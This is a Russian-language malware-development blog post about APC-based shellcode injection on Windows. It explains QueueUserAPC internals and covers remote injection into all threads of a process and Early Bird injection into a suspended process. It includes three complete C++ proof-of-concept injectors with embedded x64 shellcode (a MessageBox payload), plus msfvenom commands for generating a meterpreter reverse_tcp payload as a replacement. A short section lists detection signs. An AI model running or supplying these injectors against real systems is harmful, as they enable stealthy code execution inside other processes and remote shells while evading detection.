Malware Development | QueueUserAPC
Three working PoCs below TODO: add pics
Разбираю инъекцию шеллкода через механизм Asynchronous Procedure
Calls (APC). Техника тише, чем CreateRemoteThread, и до сих
пор используется в реальных загрузчиках. В конце три рабочие
программы.
1 | Что такое APC
P.S | KS = kernelspace/kernel mode; US = userspace/user mode
APC (Asynchronous Procedure Call) - это callback, поставленный в очередь конкретному потоку. Она выполняется в контексте этого потока, когда он переходит в alertable состояние.
Каждый поток имеет собственную APC-очередь. Когда ядро обнаруживает, что поток alertable и его очередь не пуста, происходит cледующее:
Когда
SleepEx(..., TRUE)вызывается, в реальности этоNtDelayExecution(Alertable=TRUE).Поток уходит в kernel-mode, ядро ставит его в wait с флагом alertable.
QueueUserAPC- этоNtQueueApcThread, который вставляет структуру_KAPCв список_KTHREAD.ApcState.ApcListHead[UserMode]целевого потока и выставляет флагUserApcPending.Дальше функция
nt!KiDeliverApc. Она вызывается в момент возврата из KS в US (из trapa), еслиUserApcPending == TRUE. Что она делает: модифицируетtrap frameпотока - конкретноRIPв сохраненном контексте - чтобы вместо возврата в исходный код поток попал вntdll!KiUserApcDispatcher.KiUserApcDispatcher- это US диспетчер вntdll, который и вызывает APC-функцию (в нашем случае - шеллкод). После возврата из APC функции он вызываетZwContinueс оригинальным контекстом, восстанавливая состояние потока как будто он вернулся из alertable wait нормально.
В
итоге: NtQueueApcThread _KAPC в
очередь
при выходе из KM KiDeliverApc патчит trap frame (RIP)
поток оказывается
в KiUserApcDispatcher
вызов шеллкода
ZwContinue
восстановление контекста
APC делятся на KM и UM. KM APC требует написания драйвера (ого).
2 | Alertable
Поток входит в alertable состояние при вызове одной из следующих
функций с параметром bAlertable = TRUE:
SleepExWaitForSingleObjectExWaitForMultipleObjectsExSignalObjectAndWaitMsgWaitForMultipleObjectsEx
Если поток не в alertable состоянии на момент постановки APC в очередь, то APC останется в очереди и выполнится при следующем переходе потока в alertable состояние, так что по сути ничего страшного.
3 | Сигнатуры WinAPI
// processthreadapi.h, kernel32.lib
// Возвращает 0 при ошибке
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, // адрес callback (при инъекции - адрес шеллкода)
HANDLE hThread, // хэндл потока, требует THREAD_SET_CONTEXT
ULONG_PTR dwData // передается в callback как единственный аргумент
);// synchapi.h, kernel32.lib
// Возвращает 0 при таймауте, WAIT_IO_COMPLETION после выполнения APC
DWORD SleepEx(
DWORD dwMilliseconds, // INFINITE - без таймаута
BOOL bAlertable // TRUE - разрешить выполнение APC
);PAPCFUNC - указатель на функцию вида
void CALLBACK f(ULONG_PTR). При инъекции шеллкода
pfnAPC - это адрес шеллкода в адресном пространстве
целевого процесса. Третий параметр dwData обычно равен 0;
при DLL injection через LoadLibraryA туда передают адрес
строки с путем к DLL.
4 | APC Queue Shellcode Injection !
Цель: найти поток целевого процесса в alertable состоянии и поставить в его очередь APC с адресом шеллкода. Нельзя заранее знать, какой поток окажется alertable, поэтому APC ставится во все потоки сразу.
4.1 | Открываем процесс и пишем шеллкод
Для записи памяти нужны PROCESS_VM_WRITE и
PROCESS_VM_OPERATION. Выделяем буфер с правами на
исполнение (PAGE_EXECUTE_READWRITE) и копируем шеллкод.
//desired access , handle inherited, pid
HANDLE hProc = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
//handle, null, size, alloc_mode, permissions
LPVOID buf = VirtualAllocEx(hProc, NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//handle, rwx memory, shellcode, size, null
WriteProcessMemory(hProc, buf, shellcode, shellcode_len, NULL);4.2 | Toolhelp32Snapshot THREAD Enum
Типичный метод для получения списка всех процессов… используется так
же и для получения списка потоков. TH32CS_SNAPTHREAD делает
снимок всех потоков в системе, второй аргумент для этого флага
игнорируется (явно указано в документации). Фильтрация по
th32OwnerProcessID. Для QueueUserAPC нужен
THREAD_SET_CONTEXT.
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(THREADENTRY32) };
if (Thread32First(snap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
HANDLE h = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
// сохраняем h в вектор
}
} while (Thread32Next(snap, &te));
}
CloseHandle(snap);4.3 | Ставим APC на каждый поток
for (HANDLE h : threads) {
//получили все потоки ранее через снапшот
QueueUserAPC((PAPCFUNC)buf, h, 0);
CloseHandle(h);
}Как только любой из потоков войдет в alertable состояние, шеллкод выполнится в его контексте. Если таргетный процесс активно использует alertable wait (браузеры, медиаплееры, антивирусы) - задержка будет минимальной.
5 | Early Bird APC
Из документации Microsoft:
“If an application queues an APC before the thread begins running, the thread begins by calling the APC function.”
Early Bird использует это: процесс запускается с флагом
CREATE_SUSPENDED, APC ставится в очередь до первого
исполненного байта основного потока. При ResumeThread поток
выполнит APC в первую очередь - до точки входа самого процесса
(main/WinMain/DllMain). Это
надежнее remote injection, потому что не нужно ждать alertable
состояния.
5.1 | CREATE_SUSPENDED
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = {};
CreateProcessA(NULL, cmdline, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);Поток создан, но не запущен. Suspended count = 1.
5.3 | Записываем шеллкод в память нового процесса
LPVOID buf = VirtualAllocEx(pi.hProcess, NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, buf, shellcode, shellcode_len, NULL);5.4 | APC на главный поток, снимаем suspended
QueueUserAPC((PAPCFUNC)buf, pi.hThread, 0);
ResumeThread(pi.hThread); // теперь suspended == 0При старте поток сначала обработает APC из очереди, потом перейдет к нормальному выполнению.
6 | Detection
Детект техники сложнее, чем CreateRemoteThread, т.к 1)
Нет нового потока - Sysmon event ID 8 (CreateRemoteThread) не
срабатывает 2) QueueUserAPC используется в легитимном ПО -
детект только по IAT дает много false positive (в семпле #3 был
легитимный софт с этой функцией и таким функционалом в целом)
Как детектить:
- Sysmon event ID 10 : (ProcessAccess) - фиксирует
OpenProcessсVM_WRITEпри remote injection - Sysmon event ID 1 : запуск процесса с
CREATE_SUSPENDEDпри Early Bird - API hooking : перехват пары
WriteProcessMemory+QueueUserAPCв одном процессе - Behavior :
VirtualAllocEx(RWX)+WriteProcessMemory+QueueUserAPCза
7 | PoCs
Все три программы используют один шеллкод. Алгоритм: ходит по PEB
(PEB walk на Си/x86/x64 в другой статье в блоге), находит
KERNEL32.DLL, через его таблицу экспортов получает
LoadLibraryA, загружает USER32.DLL, находит
MessageBoxA, вызывает
MessageBoxA(NULL, "Hello world", "Message", 0), затем
ExitProcess(0).
TODO: переписать на плюсах чтобы был RAII
Для замены на другой payload можно юзать msfvenom или написать свой шеллкод.
msfvenom -p windows/x64/exec CMD=calc.exe -f c
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... EXITFUNC=thread -f c
To compile:
cl.exe /EHsc apc_inprocess.cpp /Fe:apc_inprocess.exe
cl.exe /EHsc apc_remote.cpp /Fe:apc_remote.exe
cl.exe /EHsc apc_earlybird.cpp /Fe:apc_earlybird.exe
g++ -o apc_inprocess apc_inprocess.cpp
g++ -o apc_remote apc_remote.cpp
g++ -o apc_earlybird apc_earlybird.cpp
7.1 | apc_inprocess.cpp
Инъекция в собственный процесс. Создает поток, который вызывает
SleepEx(INFINITE, TRUE), переходя в alertable состояние.
Главный поток ставит APC с шеллкодом и ждет завершения.
#include <Windows.h>
#include <cstdio>
char shellcode[] =
"\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";
SIZE_T shellcode_len = sizeof(shellcode) - 1;
static DWORD WINAPI worker(LPVOID) {
SleepEx(INFINITE, TRUE);
return 0;
}
int main() {
LPVOID buf = VirtualAlloc(NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!buf) {
printf("VirtualAlloc failed: %lu\n", GetLastError());
return 1;
}
memcpy(buf, shellcode, shellcode_len);
DWORD tid;
HANDLE hThread = CreateThread(NULL, 0, worker, NULL, 0, &tid);
if (!hThread) {
printf("CreateThread failed: %lu\n", GetLastError());
VirtualFree(buf, 0, MEM_RELEASE);
return 1;
}
printf("*** worker tid: %lu ***\n", tid);
Sleep(200);
if (!QueueUserAPC((PAPCFUNC)buf, hThread, 0)) {
printf("QueueUserAPC failed: %lu\n", GetLastError());
CloseHandle(hThread);
VirtualFree(buf, 0, MEM_RELEASE);
return 1;
}
printf("*** APC queued ***\n");
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
VirtualFree(buf, 0, MEM_RELEASE);
return 0;
}7.2 | apc_remote.cpp
Инъекция в существующий процесс по PID. Перечисляет все потоки через
CreateToolhelp32Snapshot и ставит APC в каждый. Шеллкод
выполнится, когда любой поток перейдет в alertable состояние. Usage:
apc_remote.exe <PID>.
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
#include <cstdio>
char shellcode[] =
"\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";
SIZE_T shellcode_len = sizeof(shellcode) - 1;
static void get_threads(DWORD pid, std::vector<HANDLE> &out) {
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (snap == INVALID_HANDLE_VALUE) return;
THREADENTRY32 te = { sizeof(THREADENTRY32) };
if (Thread32First(snap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
HANDLE h = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
if (h) out.push_back(h);
}
} while (Thread32Next(snap, &te));
}
CloseHandle(snap);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("usage: %s <pid>\n", argv[0]);
return 1;
}
DWORD pid = (DWORD)atoi(argv[1]);
HANDLE hProc = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
if (!hProc) {
printf("OpenProcess failed: %lu\n", GetLastError());
return 1;
}
LPVOID buf = VirtualAllocEx(hProc, NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!buf) {
printf("VirtualAllocEx failed: %lu\n", GetLastError());
CloseHandle(hProc);
return 1;
}
if (!WriteProcessMemory(hProc, buf, shellcode, shellcode_len, NULL)) {
printf("WriteProcessMemory failed: %lu\n", GetLastError());
VirtualFreeEx(hProc, buf, 0, MEM_RELEASE);
CloseHandle(hProc);
return 1;
}
printf("*** shellcode written at %p ***\n", buf);
std::vector<HANDLE> threads;
get_threads(pid, threads);
if (threads.empty()) {
printf("no threads found for pid %lu\n", pid);
CloseHandle(hProc);
return 1;
}
printf("*** found %zu threads, queueing APC ***\n", threads.size());
for (HANDLE h : threads) {
QueueUserAPC((PAPCFUNC)buf, h, 0);
CloseHandle(h);
}
CloseHandle(hProc);
return 0;
}7.3 | apc_earlybird.cpp
Early Bird injection. Запускает процесс в
CREATE_SUSPENDED, до старта основного потока записывает
шеллкод и ставит APC. При ResumeThread поток начинает с
APC-функции. Usage:
apc_earlybird.exe C:\Windows\System32\notepad.exe
#include <Windows.h>
#include <cstdio>
char shellcode[] =
"\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";
SIZE_T shellcode_len = sizeof(shellcode) - 1;
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("usage: %s <target_exe_path>\n", argv[0]);
return 1;
}
char cmdline[MAX_PATH];
strncpy_s(cmdline, argv[1], MAX_PATH - 1);
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = {};
if (!CreateProcessA(NULL, cmdline, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcessA failed: %lu\n", GetLastError());
return 1;
}
printf("*** PID: %lu, TID: %lu (suspended) ***\n", pi.dwProcessId, pi.dwThreadId);
LPVOID buf = VirtualAllocEx(pi.hProcess, NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!buf) {
printf("VirtualAllocEx failed: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 1);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 1;
}
if (!WriteProcessMemory(pi.hProcess, buf, shellcode, shellcode_len, NULL)) {
printf("WriteProcessMemory failed: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 1);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 1;
}
printf("*** shellcode written at %p ***\n", buf);
QueueUserAPC((PAPCFUNC)buf, pi.hThread, 0);
printf("*** APC queued, resuming thread ***\n");
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}8 | Reference
- MITRE ATT&CK T1055.004: https://attack.mitre.org/techniques/T1055/004/
- QueueUserAPC docs: https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc
- Early Bird Injection: https://rinseandrepeatanalysis.blogspot.com/2019/04/early-bird-injection-apc-abuse.html
- Asynchronous Procedure Calls: https://docs.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls